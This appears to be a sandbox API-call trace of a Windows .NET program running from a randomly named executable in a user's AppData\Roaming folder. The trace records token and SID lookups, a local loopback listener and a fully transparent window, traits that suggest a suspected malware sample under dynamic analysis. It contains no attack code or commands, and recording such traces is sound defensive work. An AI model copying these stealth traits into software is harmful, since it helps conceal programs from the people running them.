	[0078.690] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fed04, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fed04*=0x0, lpOverlapped=0x0) returned 1
	[0078.692] GetCurrentProcess () returned 0xffffffff
	[0078.692] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ff0b0 | out: TokenHandle=0x3ff0b0*=0x234) returned 1
	[0078.692] GetCurrentProcess () returned 0xffffffff
	[0078.692] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fef7c | out: TokenHandle=0x3fef7c*=0x238) returned 1
	[0078.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3fef7c | out: lpFileInformation=0x3fef7c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0078.692] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", nBufferLength=0x105, lpBuffer=0x3fea28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", lpFilePart=0x0) returned 0x3d
	[0078.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3fef7c | out: lpFileInformation=0x3fef7c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0078.693] GetCurrentProcess () returned 0xffffffff
	[0078.693] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ff0b0 | out: TokenHandle=0x3ff0b0*=0x23c) returned 1
	[0078.693] GetCurrentProcess () returned 0xffffffff
	[0078.693] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ff0b0 | out: TokenHandle=0x3ff0b0*=0x240) returned 1
	[0078.705] GetCurrentProcess () returned 0xffffffff
	[0078.705] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fee78 | out: TokenHandle=0x3fee78*=0x244) returned 1
	[0078.711] GetCurrentProcess () returned 0xffffffff
	[0078.711] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fee88 | out: TokenHandle=0x3fee88*=0x248) returned 1
	[0078.777] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x24c
	[0078.778] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x250
	[0078.778] ioctlsocket (in: s=0x24c, cmd=-2147195266, argp=0x3feb84 | out: argp=0x3feb84) returned 0
	[0078.778] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x254
	[0078.778] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x258
	[0078.779] ioctlsocket (in: s=0x254, cmd=-2147195266, argp=0x3feb84 | out: argp=0x3feb84) returned 0
	[0078.784] WSAIoctl (in: s=0x24c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3feb80, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3feb80, lpOverlapped=0x0) returned -1
	[0078.785] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3fe8a4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0078.796] WSAEventSelect (s=0x24c, hEventObject=0x250, lNetworkEvents=512) returned 0
	[0078.796] WSAIoctl (in: s=0x254, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3feb80, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3feb80, lpOverlapped=0x0) returned -1
	[0078.796] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3fe8a4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0078.796] WSAEventSelect (s=0x254, hEventObject=0x258, lNetworkEvents=512) returned 0
	[0078.813] GetCurrentProcess () returned 0xffffffff
	[0078.813] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fee0c | out: TokenHandle=0x3fee0c*=0x288) returned 1
	[0078.821] GetCurrentProcess () returned 0xffffffff
	[0078.821] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fee1c | out: TokenHandle=0x3fee1c*=0x28c) returned 1
	[0078.825] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x290
	[0078.827] setsockopt (s=0x290, level=65535, optname=-5, optval="\x01", optlen=4) returned 0
	[0078.829] bind (s=0x290, addr=0x240cbd8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), namelen=16) returned 0
	[0078.829] listen (s=0x290, backlog=2147483647) returned 0
	[0078.830] getsockname (in: s=0x290, name=0x240cc74, namelen=0x240cc5c | out: name=0x240cc74*(sa_family=2, sin_port=0xc025, sin_addr="127.0.0.1"), namelen=0x240cc5c) returned 0
	[0078.831] ioctlsocket (in: s=0x290, cmd=-2147195266, argp=0x3ff20c | out: argp=0x3ff20c) returned 0
	[0078.832] accept (in: s=0x290, addr=0x240ceb0, addrlen=0x240ce98 | out: addr=0x240ceb0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), addrlen=0x240ce98) returned 0xffffffff
	[0078.832] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x294
	[0078.832] WSAEventSelect (s=0x290, hEventObject=0x294, lNetworkEvents=8) returned 0
	[0078.848] CoCreateGuid (in: pguid=0x3ff11c | out: pguid=0x3ff11c*(Data1=0x2b11d978, Data2=0x1fe1, Data3=0x40d4, Data4=([0]=0x9a, [1]=0x14, [2]=0xcd, [3]=0x82, [4]=0xbb, [5]=0x7c, [6]=0xac, [7]=0xe0))) returned 0x0
	[0078.848] GetCurrentProcess () returned 0xffffffff
	[0078.848] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ff298 | out: TokenHandle=0x3ff298*=0x298) returned 1
	[0078.855] CoCreateGuid (in: pguid=0x3feb0c | out: pguid=0x3feb0c*(Data1=0xda131f84, Data2=0x411e, Data3=0x4022, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0x38, [4]=0x55, [5]=0x10, [6]=0xa8, [7]=0x3))) returned 0x0
	[0078.881] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
	[0078.883] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x3ff258, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84, lpName="1f128a07-8438-4dc0-8205-570da0ccce8d1.0Map") returned 0x29c
	[0078.883] LocalFree (hMem=0x68b3f8) returned 0x0
	[0078.883] MapViewOfFile (hFileMappingObject=0x29c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x750000
	[0078.893] UnmapViewOfFile (lpBaseAddress=0x750000) returned 1
	[0078.893] SetEvent (hEvent=0x20c) returned 1
	[0078.894] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x3fed34, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77
	[0078.899] IsAppThemed () returned 0x1
	[0078.900] CoTaskMemAlloc (cb=0xf0) returned 0x6dbb30
	[0078.900] CreateActCtxA (pActCtx=0x3ff230) returned 0x6dbd24
	[0078.960] CoTaskMemFree (pv=0x6dbb30) 
	[0079.202] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.203] AdjustWindowRectEx (in: lpRect=0x3fed68, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3fed68) returned 1
	[0079.219] CoTaskMemAlloc (cb=0x20c) returned 0x6e8fb0
	[0079.219] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x6e8fb0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25
	[0079.220] CoTaskMemFree (pv=0x6e8fb0) 
	[0079.220] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3fe8b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25
	[0079.226] CoTaskMemAlloc (cb=0x20c) returned 0x6e8fb0
	[0079.226] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x6e8fb0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0079.228] CoTaskMemFree (pv=0x6e8fb0) 
	[0079.228] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe814, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0079.229] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", nBufferLength=0x105, lpBuffer=0x3fe828, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpFilePart=0x0) returned 0x36
	[0079.248] GetStockObject (i=5) returned 0x1900015
	[0079.248] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0079.249] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.249] RegisterClassW (lpWndClass=0x3fec5c) returned 0xc1c9
	[0079.249] CoTaskMemFree (pv=0x6b8d10) 
	[0079.249] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0079.249] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20208
	[0079.249] SetWindowLongW (hWnd=0x20208, nIndex=-4, dwNewLong=2003183069) returned 78907446
	[0079.249] GetWindowLongW (hWnd=0x20208, nIndex=-4) returned 2003183069
	[0079.249] SetWindowLongW (hWnd=0x20208, nIndex=-4, dwNewLong=78907486) returned 2003183069
	[0079.249] GetWindowLongW (hWnd=0x20208, nIndex=-4) returned 78907486
	[0079.249] GetWindowLongW (hWnd=0x20208, nIndex=-16) returned 79691776
	[0079.258] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x20208, Msg=0x24, wParam=0x0, lParam=0x3fe844) returned 0x0
	[0079.258] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x20208, Msg=0x81, wParam=0x0, lParam=0x3fe838) returned 0x1
	[0079.259] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x20208, Msg=0x83, wParam=0x0, lParam=0x3fe824) returned 0x0
	[0079.261] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x20208, Msg=0x1, wParam=0x0, lParam=0x3fe838) returned 0x0
	[0079.272] EtwEventRegister () returned 0x0
	[0079.274] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", nBufferLength=0x105, lpBuffer=0x3fe648, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", lpFilePart=0x0) returned 0x3d
	[0079.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3feadc) returned 1
	[0079.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3feb58 | out: lpFileInformation=0x3feb58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0079.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3fead8) returned 1
	[0079.342] GetCurrentProcess () returned 0xffffffff
	[0079.342] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fed4c | out: TokenHandle=0x3fed4c*=0x2cc) returned 1
	[0079.342] GetCurrentProcess () returned 0xffffffff
	[0079.342] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fed20 | out: TokenHandle=0x3fed20*=0x2c8) returned 1
	[0079.342] GetTokenInformation (in: TokenHandle=0x2cc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3fed54 | out: TokenInformation=0x0, ReturnLength=0x3fed54) returned 0
	[0079.342] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x6c41c0
	[0079.342] GetTokenInformation (in: TokenHandle=0x2cc, TokenInformationClass=0x1, TokenInformation=0x6c41c0, TokenInformationLength=0x24, ReturnLength=0x3fed54 | out: TokenInformation=0x6c41c0, ReturnLength=0x3fed54) returned 1
	[0079.342] LocalFree (hMem=0x6c41c0) returned 0x0
	[0079.342] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x3fec74, DesiredAccess=0x800, PolicyHandle=0x3fec34 | out: PolicyHandle=0x3fec34) returned 0x0
	[0079.342] LsaLookupSids (in: PolicyHandle=0x6c3530, Count=0x1, Sids=0x2416cd0*=0x2416c74*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68)), ReferencedDomains=0x3fec50, Names=0x3fec44 | out: ReferencedDomains=0x3fec50, Names=0x3fec44) returned 0x0
	[0079.343] LsaClose (ObjectHandle=0x6c3530) returned 0x0
	[0079.343] LsaFreeMemory (Buffer=0x6b8d10) returned 0x0
	[0079.343] LsaFreeMemory (Buffer=0x6c41c0) returned 0x0
	[0079.358] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.358] AdjustWindowRectEx (in: lpRect=0x3fed1c, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3fed1c) returned 1
	[0079.358] GetSystemMetrics (nIndex=59) returned 1460
	[0079.358] GetSystemMetrics (nIndex=60) returned 920
	[0079.358] GetSystemMetrics (nIndex=34) returned 132
	[0079.358] GetSystemMetrics (nIndex=35) returned 38
	[0079.359] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.359] AdjustWindowRectEx (in: lpRect=0x3fec1c, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3fec1c) returned 1
	[0079.360] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.360] AdjustWindowRectEx (in: lpRect=0x3fec34, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3fec34) returned 1
	[0079.360] AdjustWindowRectEx (in: lpRect=0x3fecfc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3fecfc) returned 1
	[0079.360] GetSystemMetrics (nIndex=59) returned 1460
	[0079.360] GetSystemMetrics (nIndex=60) returned 920
	[0079.360] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.360] AdjustWindowRectEx (in: lpRect=0x3feb38, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3feb38) returned 1
	[0079.360] AdjustWindowRectEx (in: lpRect=0x3febfc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3febfc) returned 1
	[0079.363] CreateCompatibleDC (hdc=0x0) returned 0xd0108e3
	[0079.365] GetSystemDefaultLCID () returned 0x409
	[0079.365] GetStockObject (i=17) returned 0x18a0025
	[0079.366] GetObjectW (in: h=0x18a0025, c=92, pv=0x3fea80 | out: pv=0x3fea80) returned 92
	[0079.367] GetDC (hWnd=0x0) returned 0x36010804
	[0079.374] GdiplusStartup (in: token=0xf67d8, input=0x3fe050, output=0x3fe0a0 | out: token=0xf67d8, output=0x3fe0a0) returned 0x0
	[0079.376] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.379] GdipCreateFontFromLogfontW (hdc=0x36010804, logfont=0x6b8d10, font=0x3feb48) returned 0x0
	[0079.525] CoTaskMemFree (pv=0x6b8d10) 
	[0079.525] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.526] CoTaskMemFree (pv=0x6b8d10) 
	[0079.526] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.526] CoTaskMemFree (pv=0x6b8d10) 
	[0079.526] GdipGetFontUnit (font=0x4fb2230, unit=0x3feb14) returned 0x0
	[0079.526] GdipGetFontSize (font=0x4fb2230, size=0x3feb18) returned 0x0
	[0079.526] GdipGetFontStyle (font=0x4fb2230, style=0x3feb10) returned 0x0
	[0079.526] GdipGetFamily (font=0x4fb2230, family=0x3feb0c) returned 0x0
	[0079.527] GdipGetFontSize (font=0x4fb2230, size=0x2417838) returned 0x0
	[0079.527] ReleaseDC (hWnd=0x0, hDC=0x36010804) returned 1
	[0079.527] GetDC (hWnd=0x0) returned 0x2b010801
	[0079.533] GdipCreateFromHDC (hdc=0x2b010801, graphics=0x3feb34) returned 0x0
	[0079.557] GdipGetDpiY (graphics=0x4f49178, dpi=0x2417940) returned 0x0
	[0079.557] GdipGetFontHeight (font=0x4fb2230, graphics=0x4f49178, height=0x3feb2c) returned 0x0
	[0079.557] GdipGetEmHeight (family=0x4fbf848, style=0, EmHeight=0x3feb34) returned 0x0
	[0079.557] GdipGetLineSpacing (family=0x4fbf848, style=0, LineSpacing=0x3feb34) returned 0x0
	[0079.558] GdipDeleteGraphics (graphics=0x4f49178) returned 0x0
	[0079.558] ReleaseDC (hWnd=0x0, hDC=0x2b010801) returned 1
	[0079.558] GdipCreateFont (fontFamily=0x4fbf848, emSize=0x41040000, style=0, unit=0x3, font=0x2417900) returned 0x0
	[0079.558] GdipGetFontSize (font=0x4f02ad0, size=0x2417904) returned 0x0
	[0079.558] GdipDeleteFont (font=0x4fb2230) returned 0x0
	[0079.560] GetDC (hWnd=0x0) returned 0x2b010801
	[0079.560] GdipCreateFromHDC (hdc=0x2b010801, graphics=0x3feb58) returned 0x0
	[0079.560] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.560] GdipGetLogFontW (font=0x4f02ad0, graphics=0x4f49178, logfontW=0x6b8d10) returned 0x0
	[0079.561] CoTaskMemFree (pv=0x6b8d10) 
	[0079.561] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.561] CoTaskMemFree (pv=0x6b8d10) 
	[0079.561] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.562] CoTaskMemFree (pv=0x6b8d10) 
	[0079.562] GdipDeleteGraphics (graphics=0x4f49178) returned 0x0
	[0079.562] ReleaseDC (hWnd=0x0, hDC=0x2b010801) returned 1
	[0079.562] CoTaskMemAlloc (cb=0x5c) returned 0x6b8d10
	[0079.562] CreateFontIndirectW (lplf=0x6b8d10) returned 0x3f0a08d8
	[0079.562] CoTaskMemFree (pv=0x6b8d10) 
	[0079.562] SelectObject (hdc=0xd0108e3, h=0x3f0a08d8) returned 0x18a002e
	[0079.562] GetTextMetricsW (in: hdc=0xd0108e3, lptm=0x3fec64 | out: lptm=0x3fec64) returned 1
	[0079.563] GetTextExtentPoint32W (in: hdc=0xd0108e3, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2417b5c | out: psizl=0x2417b5c) returned 1
	[0079.564] SelectObject (hdc=0xd0108e3, h=0x18a002e) returned 0x3f0a08d8
	[0079.565] DeleteDC (hdc=0xd0108e3) returned 1
	[0079.565] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.565] AdjustWindowRectEx (in: lpRect=0x3fe9d0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3fe9d0) returned 1
	[0079.565] AdjustWindowRectEx (in: lpRect=0x3febf0, dwStyle=0x22010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3febf0) returned 1
	[0079.565] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.565] AdjustWindowRectEx (in: lpRect=0x3fe948, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3fe948) returned 1
	[0079.565] AdjustWindowRectEx (in: lpRect=0x3fea28, dwStyle=0x22010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3fea28) returned 1
	[0079.566] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74d50000
	[0079.566] AdjustWindowRectEx (in: lpRect=0x3fe8d8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3fe8d8) returned 1
	[0079.566] AdjustWindowRectEx (in: lpRect=0x3fe99c, dwStyle=0x22010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3fe99c) returned 1
	[0079.567] GetCurrentActCtx (in: lphActCtx=0x3ff2a4 | out: lphActCtx=0x3ff2a4*=0x0) returned 1
	[0079.567] ActivateActCtx (in: hActCtx=0x6dbd24, lpCookie=0x3ff2b4 | out: hActCtx=0x6dbd24, lpCookie=0x3ff2b4) returned 1
	[0079.567] GetCurrentActCtx (in: lphActCtx=0x3ff0c4 | out: lphActCtx=0x3ff0c4*=0x6dbd24) returned 1
	[0079.567] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0
	[0079.570] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73e40000
	[0079.587] AdjustWindowRectEx (in: lpRect=0x3ff028, dwStyle=0x2010000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x3ff028) returned 1
	[0079.587] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0079.587] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x22010000, X=-2147483648, Y=-2147483648, nWidth=10, nHeight=10, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10210
	[0079.587] SetWindowLongW (hWnd=0x10210, nIndex=-4, dwNewLong=2003183069) returned 78907366
	[0079.587] GetWindowLongW (hWnd=0x10210, nIndex=-4) returned 2003183069
	[0079.587] SetWindowLongW (hWnd=0x10210, nIndex=-4, dwNewLong=78907566) returned 2003183069
	[0079.587] GetWindowLongW (hWnd=0x10210, nIndex=-4) returned 78907566
	[0079.587] GetWindowLongW (hWnd=0x10210, nIndex=-16) returned 650182656
	[0079.587] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x81, wParam=0x0, lParam=0x3feb58) returned 0x1
	[0079.587] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x83, wParam=0x0, lParam=0x3feb44) returned 0x0
	[0079.588] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x1, wParam=0x0, lParam=0x3feb58) returned 0x0
	[0079.588] GetClientRect (in: hWnd=0x10210, lpRect=0x3fe890 | out: lpRect=0x3fe890) returned 1
	[0079.588] GetWindowRect (in: hWnd=0x10210, lpRect=0x3fe890 | out: lpRect=0x3fe890) returned 1
	[0079.589] GetWindowTextLengthW (hWnd=0x10210) returned 0
	[0079.589] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
	[0079.589] GetSystemMetrics (nIndex=42) returned 0
	[0079.589] GetWindowTextW (in: hWnd=0x10210, lpString=0x3fe708, nMaxCount=1 | out: lpString="") returned 0
	[0079.589] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x1, lParam=0x3fe708) returned 0x0
	[0079.593] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x2418178, nLength=0xc, lpnLengthNeeded=0x3fe790 | out: pvInfo=0x2418178, lpnLengthNeeded=0x3fe790) returned 1
	[0079.604] SetConsoleCtrlHandler (HandlerRoutine=0x4b408d6, Add=1) returned 1
	[0079.604] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0079.604] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0079.605] GetClassInfoW (in: hInstance=0x400000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x24181dc | out: lpWndClass=0x24181dc) returned 0
	[0079.606] CoTaskMemAlloc (cb=0x58) returned 0x690bc0
	[0079.606] RegisterClassW (lpWndClass=0x3fe6e0) returned 0xc1ca
	[0079.606] CoTaskMemFree (pv=0x690bc0) 
	[0079.607] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10212
	[0079.607] NtdllDefWindowProc_W () returned 0x0
	[0079.607] NtdllDefWindowProc_W () returned 0x0
	[0079.607] NtdllDefWindowProc_W () returned 0x0
	[0079.607] NtdllDefWindowProc_W () returned 0x0
	[0079.612] SetLayeredWindowAttributes (hwnd=0x10210, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1
	[0079.612] GetStartupInfoW (in: lpStartupInfo=0x24185bc | out: lpStartupInfo=0x24185bc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0079.612] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x46, wParam=0x0, lParam=0x3feb6c) returned 0x0
	[0079.612] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x83, wParam=0x1, lParam=0x3feb44) returned 0x0
	[0079.613] GetWindowPlacement (in: hWnd=0x10210, lpwndpl=0x3fe91c | out: lpwndpl=0x3fe91c) returned 1
	[0079.613] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x47, wParam=0x0, lParam=0x3feb6c) returned 0x0
	[0079.613] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x3, wParam=0x0, lParam=0x83008300) returned 0x0
	[0079.613] GetClientRect (in: hWnd=0x10210, lpRect=0x3fe430 | out: lpRect=0x3fe430) returned 1
